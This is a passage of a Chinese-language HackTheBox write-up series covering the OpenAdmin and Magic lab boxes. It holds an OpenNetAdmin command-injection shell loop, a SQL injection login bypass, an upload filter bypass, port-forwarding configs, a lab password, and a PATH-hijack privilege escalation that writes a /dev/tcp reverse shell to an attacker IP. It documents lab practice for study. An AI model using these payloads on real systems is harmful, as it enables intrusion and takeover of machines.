可以替换文件提权&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.linuxcool.com/journalctl" target="_blank" rel="noopener"&#10; &gt;https://www.linuxcool.com/journalctl&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个里面介绍了journalctl的参数 -n指的是行数 -u指定的是服务&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0460.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我完全没想明白这两个有什么联系&lt;/p&gt;&#10;&lt;p&gt;后面试了很多方法 但是始终没有解决 这次看了wp 上面讲述到 journalctl 他输出的时候 它规定了5行输出 所以输出完了你根本无法输入命令 但是它是根据你当前窗口的大小来输出的 只需要将窗口缩小就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0461.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0462.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束了 这一关非常考验搜索能力 主要是一个是搜配置文件 我并没有搜到 还是猜出来的&lt;/p&gt;&#10;&lt;p&gt;还有一个是搜journalctl参数 这个是搜到了 但是关键点在于 缩小当前命令行窗口 让他卡在命令行界面 这一步没有搜到 我并不清楚这种是日积月累的 还是考验搜索能力&lt;/p&gt;&#10;&lt;h2 id="21openadmin"&gt;&lt;a href="#21openadmin" class="header-anchor"&gt;&lt;/a&gt;21.OpenAdmin&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0463.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0464.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;打点比我想象的更简单&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.171/music/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/music/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这个页面可以login和create account&lt;/p&gt;&#10;&lt;p&gt;点击login 跳转到了&lt;a class="link" href="http://10.10.10.171/ona/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.171/ona/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0465.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;上面有个download&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0466.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了框架 以及版本&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0467.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;读了一下缺少url&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0468.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;给参数加上url就行&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;URL=&amp;#34;http://10.10.10.171/ona/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while true;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo -n &amp;#34;$ &amp;#34;; read cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl --silent -d &amp;#34;xajax=window_submit&amp;amp;xajaxr=1574117726710&amp;amp;xajaxargs[]=tooltips&amp;amp;xajaxargs[]=ip%3D%3E;echo \&amp;#34;BEGIN\&amp;#34;;${cmd};echo \&amp;#34;END\&amp;#34;&amp;amp;xajaxargs[]=ping&amp;#34; &amp;#34;${URL}&amp;#34; | sed -n -e &amp;#39;/BEGIN/,/END/ p&amp;#39; | tail -n +2 | head -n -1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;然后他会死循环发包 包就是你要执行的命令 相当于一个交互型的shell了&lt;/p&gt;&#10;&lt;p&gt;这里我们选择弹一个回来&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0469.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;试了一堆 不清楚是哪个成功了 总之弹回来了 这一步在我的理解下主要是反弹shell可以生成tty&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0470.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;反弹回来的也生成不了tty 很奇怪&lt;/p&gt;&#10;&lt;p&gt;可能是我弹的方式不对 那就先不管了 先看配置文件&lt;/p&gt;&#10;&lt;p&gt;并没找到什么东西 但是有个很奇怪的点&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0471.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;当前目录是这个 他的上一级并不是所看到的index.html的默认界面 而是这个框架的配置文件 www刚好是他的网站目录 所以说&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0472.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;在他的apache的配置文件里 肯定包含 ona和artwork的索引 首先先找apache的配置文件&lt;/p&gt;&#10;&lt;p&gt;但是我使用find并没有找到配置文件&lt;/p&gt;&#10;&lt;p&gt;于是我试了下搜索artwork 找到了目录 一切就清楚了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0473.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没有能越权的东西 权限都是 www-data 但是这里面还有几个目录 有一些应用程序 里面有两个文件夹有.DS_Store&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0474.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0475.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gehaxelt/Python-dsstore" target="_blank" rel="noopener"&#10; &gt;https://github.com/gehaxelt/Python-dsstore&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;解析完了 也没什么特别的目录 应该是项目自带的&lt;/p&gt;&#10;&lt;p&gt;传了LinEnum上去 也没发现什么特别的东西&lt;/p&gt;&#10;&lt;p&gt;/usr/bin/python3 -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;倒是找到了python3在哪 获得了tty&lt;/p&gt;&#10;&lt;p&gt;后面实在是没有路了 我便回网站再看几次 根据他的php文件之类的 我能确定是由数据库连接的&lt;/p&gt;&#10;&lt;p&gt;开始翻目录文件 最终在 /opt/ona/www/local/config&lt;/p&gt;&#10;&lt;p&gt;找到了一个密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0476.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;n1nj4W4rri0R!&lt;/p&gt;&#10;&lt;p&gt;目前的思路又开始清晰了 先试试home下的用户密码&lt;/p&gt;&#10;&lt;p&gt;如果不行本地的3306是开启的 看进程的时候看到过 可以直接连上去再翻其他密码&lt;/p&gt;&#10;&lt;p&gt;最终我在jimmy上登陆成功&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0477.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第一时间还是sudo&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0478.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;无法使用 第二时间 我就直接去找到了我之前发现的文件夹&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0479.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;当时没有权限进不去&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0480.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;main.php告诉了我他直接去cat /home/joanna/.ssh/id_rsa&lt;/p&gt;&#10;&lt;p&gt;但是我试了没有权限&lt;/p&gt;&#10;&lt;p&gt;在index.php里我看到了一个密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0481.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0482.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是要给钱&lt;/p&gt;&#10;&lt;p&gt;并且这个密码 跟n1nj4W4rri0R!这个密码的sha1不一样&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0483.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0484.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;su失败了 接着读源码看看是咋回事&lt;/p&gt;&#10;&lt;p&gt;很简单一件事 登陆成功给个session然后跳转main.php&lt;/p&gt;&#10;&lt;p&gt;main.php会执行命令去查看/home/joanna/.ssh/id_rsa&lt;/p&gt;&#10;&lt;p&gt;我没有必要去启动这个php或者把他移动到web目录里 因为执行这个命令的权限就是jimmy 我目前手动测试是没用的 放到web目录里他也没用 如下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0485.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;目前能得到的信息就是joanna有个私钥&lt;/p&gt;&#10;&lt;p&gt;忙活了一段时间貌似没有了任何思路 但是我突然想到了一点&lt;/p&gt;&#10;&lt;p&gt;当前文件的所有权是jimmy的 但是并不代表启动的用户还是jimmy&lt;/p&gt;&#10;&lt;p&gt;在pspy32的进程中我只发现了很多pid在运行apache2 但是并没有标明用户 于是我开始查看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0486.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我本来以为uid33的www-data一直在开启apache2 但是&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0487.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;root也开了一个&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0488.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;存在一个没见过的端口 nmap没有给我报告 这个端口大概率是在本地&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0489.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;出结果了 确实存在东西 在看pspy32的时候 也要记得手动去找&lt;/p&gt;&#10;&lt;p&gt;curl一直失败 还是搭个隧道吧&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8888:localhost:52846 &lt;a class="link" href="mailto:jimmy@10.10.10.171" &gt;jimmy@10.10.10.171&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0490.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0491.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;获得了 但是我有个想法 当前root运行的这个站点 我在里面写个shell不就是root权限了吗&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0492.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;理解的有问题 上来的还是joanna账户&lt;/p&gt;&#10;&lt;p&gt;但总算是提上来了&lt;/p&gt;&#10;&lt;p&gt;sudo -l -s 还是用不了 虽然不知道密码 但是得先能用 因为确实没其他思路了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0493.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;登陆成功 果然登陆了之后可以sudo -l了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0494.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0495.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0496.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束 这个靶场扩展了一些思路 但是流程方面还跟之前差不多 主要是得细心观察 主要集中在提权了 用了两个小时 唯一搞不明白的就是为什么root的权限挂shell之后是joanna&lt;/p&gt;&#10;&lt;p&gt;开始翻wp&lt;/p&gt;&#10;&lt;p&gt;第一处：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0497.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;curl可以直接访问main.php 但是我读代码的时候他会验证一遍session 这明显不现实 下图是我测试的 访问main会跳回主页面 这和源码是一个逻辑&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0498.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;网页不行 但是本地还真可以&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0499.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我只curl了index.php 发包请求登录 这一点没注意到&lt;/p&gt;&#10;&lt;p&gt;第二处&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0500.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;原因在这里 他以joanna的身份启动的web服务 所以虽然是root启动的 但是用户身份还是joanna /etc/apache2/sites-enabled 这个目录存在配置文件&lt;/p&gt;&#10;&lt;p&gt;第三处&lt;/p&gt;&#10;&lt;p&gt;当时第一次并没有翻到jimmy的密码 也就是那个数据库的密码 没仔细去翻那个文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0501.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是进程里是存在的 他有一个计划任务 这一点后面才注意到&lt;/p&gt;&#10;&lt;h2 id="22magic"&gt;&lt;a href="#22magic" class="header-anchor"&gt;&lt;/a&gt;22.Magic&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0502.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0503.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0504.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接说结论吧 getshell难度还行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0505.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;登录口可以sql注入的 我尝试盲注不行 但是是可以进后台的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0506.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;他并不会自动跳转 我以为要手工注入&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0507.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是在Location这个地方提示了要跳转upload.php&lt;/p&gt;&#10;&lt;p&gt;session已经被写入数据库了 所以直接跳转不会提示没权限的 只要用万能密码进就行了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0508.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;upload页面 这里也说结论吧 白名单 尝试绕过就行 upload_labs 里面有一个%20截断 尝试了一下可以绕过 具体如下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0509.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0510.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;访问之后成功弹出shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0511.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权 信息收集&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0512.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0513.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我说怎么sleep没效果&lt;/p&gt;&#10;&lt;p&gt;基本上翻完了 包括theseus用户的文件夹 只能看到有一个mysql服务&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0514.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实际上我获得的那个数据库账号密码 并不能su到目标用户 提示密码错误&lt;/p&gt;&#10;&lt;p&gt;ssh也提示只能用私钥去连 这里我直接放结论吧&lt;/p&gt;&#10;&lt;p&gt;其他都看完了 只剩mysql没看 并且mysql在靶机上是没有的 只能做端口转发&lt;/p&gt;&#10;&lt;p&gt;这里我使用的是frp&lt;/p&gt;&#10;&lt;p&gt;frps -c frps.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bind_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;frpc -c frpc.ini&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_addr = 10.10.16.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[mysql]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type = tcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_ip = 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_port = 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remote_port = 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;启动起来就行&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u theseus -P 6000 -p -h localhost Magic&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0515.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功上来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0516.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了一个密码&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0517.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功切换到了theseus&lt;/p&gt;&#10;&lt;p&gt;接着信息收集 我没有找到任何有用的东西 suid的我全看了&lt;/p&gt;&#10;&lt;p&gt;找到了一个有意思的 我们当前其实还有users组 跟这个刚好对上&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0518.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0519.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;全看了一遍 只知道这个是专门针对users组的 我并不知道咋用&lt;/p&gt;&#10;&lt;p&gt;后续实在是找不到了看了wp才知道这里是可以利用的 而且对于我来说很复杂&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0520.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;知道切入点就开始操作了 这里他调用命令并没有任何限制 也就是它是以root的身份执行这俩命令的&lt;/p&gt;&#10;&lt;p&gt;也就是说根据环境变量索引 找到的第一个命令 会被root执行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0521.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个顺序上面找到了/sbin目录 fdisk就在里面 但是前面的并不能写入文件&lt;/p&gt;&#10;&lt;p&gt;但是还可以使用export设置临时的环境变量 看了下介绍 直接执行&lt;/p&gt;&#10;&lt;p&gt;export PATH=/tmp:$PATH&lt;/p&gt;&#10;&lt;p&gt;这样第一时间是去tmp文件夹里找环境变量&lt;/p&gt;&#10;&lt;p&gt;将反弹shell的命令写入fdisk&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.3/6666 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo; /tmp/fdisk&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0522.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功连上来了 到此结束&lt;/p&gt;&#10;&lt;p&gt;这一次非常规提权有点难 这个靶机更多的是提权 theseus提权到root是真的没想到这里能藏一个 但这是标准的oscp靶机 只能说思路还得扩展 平常根本发现不了 suid有很多的 他给的提示就是给当前用户一个users组 然后那个root的文件 给了个s&lt;/p&gt;&#10;&lt;p&gt;刚好匹配上 这个提示藏得有点深 